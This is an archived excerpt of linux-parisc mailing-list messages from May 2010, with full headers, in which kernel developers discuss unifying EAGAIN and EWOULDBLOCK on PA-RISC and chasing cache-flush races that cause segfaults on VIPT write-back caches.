> > > extension works off the top of my head.
> > 
> > Mispredicted branches cost something like 20-25 cycles. I forgot now but I
> > do know they aren't cheap.
> 
> That's not a branch, Grant.

DOh! sorry...you are right. /o\
I was totally missing the instruction nullification.

> > I'd rather not add more hacks for this they are unlikely to ever
> > be removed again. I'd rather have status quo than add some hack
> > to the syscall return path.
> 
> The alternative is to rebuild all of userspace, again.

All?
If I generate a list of debian packages that look at EWOULDBLOCK or EAGAIN,
couldn't we just regenerate those packages once the kernel change is in
place and the kernel header files pushed to debian experimental?
There can't be that many packages.

And of those that do, I believe most time the old binaries will generally
work since EWOULDBLOCK code paths are unlikely to get exercised. Or is
there evidence to the contrary?

thanks
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sun, 16 May 2010 12:25:34 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20100516162534.GG6764@bombadil.infradead.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com> <20100515172749.GE6764@bombadil.infradead.org> <20100515225952.GD7587@lackof.org> <20100515230359.GF6764@bombadil.infradead.org> <20100516161207.GA21902@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1274027155 28876 80.91.229.12 (16 May 2010 16:25:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 16 May 2010 16:25:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 18:25:52 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODgf1-0004Jq-7L
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 18:25:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753541Ab0EPQZj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 May 2010 12:25:39 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48075 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753272Ab0EPQZi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 May 2010 12:25:38 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1ODgek-0007cE-Ar; Sun, 16 May 2010 16:25:34 +0000
Content-Disposition: inline
In-Reply-To: <20100516161207.GA21902@lackof.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2866>

On Sun, May 16, 2010 at 10:12:07AM -0600, Grant Grundler wrote:
> If I generate a list of debian packages that look at EWOULDBLOCK or EAGAIN,
> couldn't we just regenerate those packages once the kernel change is in
> place and the kernel header files pushed to debian experimental?
> There can't be that many packages.
> 

Sure, but what about people running the old stable version of Debian or
something? We lose the ability to have (probably) useful userspace
running when kernels get bisected across the flag version.

> And of those that do, I believe most time the old binaries will generally
> work since EWOULDBLOCK code paths are unlikely to get exercised. Or is
> there evidence to the contrary?
> 

That's what we need to find out. :) Because it will "just work" on most
other operating systems I've been able to quickly grep for, people might
have been negligent.

I think Helge should definitely submit his very fine patches to
glibc/kernel wherever. As John points out, I looked up POSIX tonight and
as it stands they don't violate it technically (since the value is the
same) but they symbollically do. :)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 16 May 2010 22:22:02 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <4BF053EA.8090503@gmx.de>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca> <4BE9CEF6.7010203@gmx.de> <20100515210251.GA16614@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1274041339 7234 80.91.229.12 (16 May 2010 20:22:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 16 May 2010 20:22:19 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 22:22:17 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODkLm-0004RQ-S2
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 22:22:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599Ab0EPUWN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 May 2010 16:22:13 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:59511 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752418Ab0EPUWN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 May 2010 16:22:13 -0400
Original-Received: (qmail invoked by alias); 16 May 2010 20:22:07 -0000
Original-Received: from p54AD0157.dip0.t-ipconnect.de (EHLO halden.box) [84.173.1.87]
  by mail.gmx.net (mp067) with SMTP; 16 May 2010 22:22:07 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19GqQwM2gNGUUpbpBvRmRZKf4gEwXS+KYXvRz7Qe4
	8xFC5pdXnwXYs8
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100515210251.GA16614@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2867>

On 05/15/2010 11:02 PM, John David Anglin wrote:
> On Tue, 11 May 2010, Helge Deller wrote:
> 
>> On 05/11/2010 11:26 PM, John David Anglin wrote:
>>>> On 05/10/2010 09:20 PM, Helge Deller wrote:
>>>>> On 05/10/2010 04:56 PM, John David Anglin wrote:
>>>>>> Yes, just after sending, I noticed gcc testsuite and minifail were
>>>>>> broken on gsyprf11.  [...]
>>>>>>
>>>>>> The attached works better on gsyprf11.  I haven't tested it on anything
>>>>>> else.
>>>>
>>>> Hi Dave,
>>>>
>>>> I still can see segfaults of the minifail_dave.cpp program.
> 
> I haven't seen any abnormal segfaults with the attached change on
> my rp3440 and gsyprf11.  Need to flush in pte_wrprotect for minifail,
> and to flush in copy_user_page to fix occasional segfaults in sh.
> The flushes in kmap/kunmap weren't sufficient.

I wish could report success as well....
But I still do see segfaults (although they seem to happen not as often as before).
Which kernel do you test? I'm on 2.6.33.3 + your patches.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 16 May 2010 17:38:27 -0400
Organization: nrc.ca
Lines: 32
Approved: news@gmane.org
Message-ID: <20100516213826.GA22615@hiauly1.hia.nrc.ca>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca> <4BE9CEF6.7010203@gmx.de> <20100515210251.GA16614@hiauly1.hia.nrc.ca> <4BF053EA.8090503@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1274045914 20739 80.91.229.12 (16 May 2010 21:38:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 16 May 2010 21:38:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 23:38:33 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODlXc-0000bG-Om
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 23:38:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752772Ab0EPVic (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 May 2010 17:38:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1941 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750770Ab0EPVic (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 May 2010 17:38:32 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4E7114FA3; Sun, 16 May 2010 17:38:27 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BF053EA.8090503@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2868>

On Sun, 16 May 2010, Helge Deller wrote:

> I wish could report success as well....
> But I still do see segfaults (although they seem to happen not as often as before).

Thanks again for testing.

I'm convinced that we have various race conditions in doing cache
user and kernel flushes that are not easily fixed.  For example,
in pte_wrprotect, it difficult to ensure that the cache is clean
in a SMP environment.  Think there are similar problems with
copy_user_page.

At the moment, I'm fairly pessimistic about finding a solution with
our current implementation of copy_user_page.  I've done more than a
hundred kernel builds, and while things are better, there are still
problems that look like cache corruption.  Often, it takes more than
a day for problems to appear.

> Which kernel do you test? I'm on 2.6.33.3 + your patches.

I'm on to 2.6.33.4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Mon, 17 May 2010 15:39:22 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <AANLkTil-y0_G8HcYbV2KXKYexVozRATfjVnH7UzyP6K3@mail.gmail.com>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org>
	 <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
	 <20100515172749.GE6764@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1274125171 19683 80.91.229.12 (17 May 2010 19:39:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 May 2010 19:39:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 17 21:39:28 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OE69v-0004wf-IA
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 May 2010 21:39:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756035Ab0EQTjY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 May 2010 15:39:24 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:62143 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756005Ab0EQTjX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 May 2010 15:39:23 -0400
Original-Received: by wwb39 with SMTP id 39so55415wwb.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 May 2010 12:39:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=VznqTQRONOtzcbXaVe7ToUrUph9eE50WvkESsbHmfmQ=;
        b=KkDUCYpXFHg8y4hrC/CKAEl7LOZFE93yxo1fuW+b0P3sPK3MwcU3HCKUtQ4TXZXz5x
         T9+L7t2T8UDrXg6dW5/mss9ovSi3XW3J24WxfO/kjt1VfkKZX5AyYpNv+ifs0HOweNrE
         CNDsfdtvYzlxzGfBG/F8ZN1PmEVxCUET2Ml+U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=BSA13jHNf15Tp/FCKf8CfRclnV2EMiWow94XjhC5FqDm0sZz0jxpROtQAwQvaIn6Vj
         CEWSwPfWHiZYL/Q5+LvCItV8N/2UmSMJ0xB9AC7x/35y6zohc90nkgtlLIr3+yMMB/pZ
         aJJK84evS+joOXJmrUFELVDcPrS7nnFm39I24=
Original-Received: by 10.216.88.145 with SMTP id a17mr429040wef.53.1274125162162; Mon, 
	17 May 2010 12:39:22 -0700 (PDT)
Original-Received: by 10.216.21.20 with HTTP; Mon, 17 May 2010 12:39:22 -0700 (PDT)
In-Reply-To: <20100515172749.GE6764@bombadil.infradead.org>
X-Google-Sender-Auth: eYRCDUZTHBOOdX-3yAdvsGz6Jjc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2870>

On Sat, May 15, 2010 at 1:27 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sat, May 15, 2010 at 07:24:54AM -0400, Carlos O'Donell wrote:
>> An application that checked only for EWOULDBLOCK might fail now that
>> EAGAIN is being returned.
>>
>> Is this a concern? I don't think it is. The POSIX standard, in all
>> cases I could find, says the functions return "EAGAIN or EWOULDBLOCK",
>> meaning that a conforming program must check for both.
>>
>
> It's a two instruction penalty(*) in the kernel syscall return path, just
> do it there. I've got a box at Red Hat with all the source to the whole
> damn world on it we run greps against to look for dumb stuff like memcpy
> bugs. I'll toss a grep for EAGAIN and not EWOULDBLOCK and vice versa and
> see how much stuff might b0rk.

Is there any benefit to doing it in userspace?

As opposed to changing the kernel to define EGAIN == EWOULDBLOCK?

Both changes break ABI.

The userspace change makes the syscall return path a couple of
instructions slower.

The kernel change might break the future emulation of hpux application
on parisc linux?

> We discussed this a couple years ago, and it ended up being a complete
> rats nest of error returns that needed fixing.

If we set EAGAIN=EWOULDBLOCK in the kernel for parisc, would that be hard?

I'm just trying to understand and weigh the options.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 22 May 2010 13:25:00 -0400
Organization: nrc.ca
Lines: 17
Approved: news@gmane.org
Message-ID: <20100522172459.GA27249@hiauly1.hia.nrc.ca>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca> <4BE9CEF6.7010203@gmx.de> <20100515210251.GA16614@hiauly1.hia.nrc.ca> <4BF053EA.8090503@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1274549114 24283 80.91.229.12 (22 May 2010 17:25:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 22 May 2010 17:25:14 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 22 19:25:11 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OFsRf-00038w-Ui
	for glpp-linux-parisc@lo.gmane.org; Sat, 22 May 2010 19:25:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755754Ab0EVRZH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 May 2010 13:25:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2241 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753444Ab0EVRZG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 May 2010 13:25:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 536B54E77; Sat, 22 May 2010 13:25:00 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BF053EA.8090503@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2873
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2873>

On Sun, 16 May 2010, Helge Deller wrote:

> I wish could report success as well....
> But I still do see segfaults (although they seem to happen not as often as before).

For reference, see this discussion:
http://readlist.com/lists/vger.kernel.org/linux-kernel/54/270861.html

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 23 May 2010 09:11:45 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <AANLkTimpMvS2ysPxInUZuLNtA-8r5W_3aYhXnv6pZAVd@mail.gmail.com>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca>
	 <4BE9CEF6.7010203@gmx.de> <20100515210251.GA16614@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1274620311 30391 80.91.229.12 (23 May 2010 13:11:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 13:11:51 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 15:11:50 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGAy5-0003ue-HX
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 15:11:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754434Ab0EWNLr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 09:11:47 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:58608 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754424Ab0EWNLr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 09:11:47 -0400
Original-Received: by wwb13 with SMTP id 13so427215wwb.19
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 06:11:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=7+P9sUwfuFA6colpAzGLbX8fn9RBvdjpGNZ1jOELLSA=;
        b=qiuno0rB1FsyNQMgQU3uZAxL63CusAPYr3xH/a3wwqsLF2z8U9h1pbUN/LSwgHBOrP
         U+tPKW+ss03w2KQpgUdMI4sTkwupXzgkPYc0Eku0UbTwJpFO06t68k9rS9WDklogiIqG
         9P1AcfsgcV+Z7z3oG7ToMtZjts+qYXxFbPLPw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=DjHIEPXaRT+guxryPxHrJ2077MhNDh8la7QMxNEcIQF1RthVYGCOfE97O221i5LA5d
         k16gm+OtuiVr2RPYH9wm9f1yigmab29uYajNIMSj7IKENtHAvNIhrGXyyW20XXW2leZC
         3f+9iLWW3lNgWVUUyGub7dENcyDIQZqkN6Y7s=
Original-Received: by 10.216.85.197 with SMTP id u47mr2484363wee.77.1274620305278; Sun, 
	23 May 2010 06:11:45 -0700 (PDT)
Original-Received: by 10.216.21.20 with HTTP; Sun, 23 May 2010 06:11:45 -0700 (PDT)
In-Reply-To: <20100515210251.GA16614@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 3ulDMWxTWrVuvaltEg9ReDK2KGs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2874>

On Sat, May 15, 2010 at 5:02 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I haven't seen any abnormal segfaults with the attached change on
> my rp3440 and gsyprf11. =A0Need to flush in pte_wrprotect for minifai=
l,
> and to flush in copy_user_page to fix occasional segfaults in sh.
> The flushes in kmap/kunmap weren't sufficient.
>
> Still experimenting to see if number of flushes can be reduced, etc.

Applying your patch to 2.6.33, I had 2 hunk rejects.

I fixed up the rejects, but I was curious, what is your patch based on?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 23 May 2010 10:43:13 -0400 (EDT)
Lines: 1915
Approved: news@gmane.org
Message-ID: <20100523144315.1CB995057@hiauly1.hia.nrc.ca>
References: <AANLkTimpMvS2ysPxInUZuLNtA-8r5W_3aYhXnv6pZAVd@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1274625809 13217 80.91.229.12 (23 May 2010 14:43:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 14:43:29 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 16:43:26 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGCOg-0001iR-6Y
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 16:43:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754706Ab0EWOnT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 10:43:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2285 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754308Ab0EWOnR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 10:43:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
